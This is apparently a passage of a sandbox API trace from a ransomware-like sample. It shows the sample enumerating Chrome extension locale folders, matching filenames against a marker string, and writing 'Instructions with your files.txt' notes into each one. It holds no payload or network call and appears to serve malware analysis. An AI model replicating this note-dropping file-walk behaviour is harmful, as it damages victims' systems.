[0129.715] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.718] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.719] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.719] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.719] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.719] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.719] CloseHandle (hObject=0x134) returned 1
[0129.719] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.719] GetProcessHeap () returned 0x810000
[0129.719] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.719] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn", cAlternateFileName="")) returned 1
[0129.719] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn") returned 141
[0129.719] GetProcessHeap () returned 0x810000
[0129.719] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.719] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*") returned 143
[0129.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.720] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\.") returned 143
[0129.720] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.720] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\..") returned 144
[0129.720] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.720] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 155
[0129.720] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.720] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.720] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\Instructions with your files.txt") returned 174
[0129.720] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.721] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.722] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.722] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.722] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.722] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.722] CloseHandle (hObject=0x134) returned 1
[0129.722] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.722] GetProcessHeap () returned 0x810000
[0129.722] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.722] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
[0129.722] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko") returned 141
[0129.722] GetProcessHeap () returned 0x810000
[0129.722] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.722] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*") returned 143
[0129.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.723] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\.") returned 143
[0129.723] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.723] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\..") returned 144
[0129.723] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.723] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 155
[0129.723] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.723] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.723] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\Instructions with your files.txt") returned 174
[0129.723] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.724] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.725] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.725] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.725] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.725] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.725] CloseHandle (hObject=0x134) returned 1
[0129.725] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.725] GetProcessHeap () returned 0x810000
[0129.725] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.725] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lo", cAlternateFileName="")) returned 1
[0129.725] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo") returned 141
[0129.725] GetProcessHeap () returned 0x810000
[0129.725] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.725] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*") returned 143
[0129.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.727] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\.") returned 143
[0129.727] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.727] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\..") returned 144
[0129.727] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.727] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 155
[0129.727] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.727] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.727] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\Instructions with your files.txt") returned 174
[0129.727] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.727] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.728] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.728] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.728] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.728] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.729] CloseHandle (hObject=0x134) returned 1
[0129.729] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.729] GetProcessHeap () returned 0x810000
[0129.729] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.729] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
[0129.732] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt") returned 141
[0129.732] GetProcessHeap () returned 0x810000
[0129.732] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.732] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*") returned 143
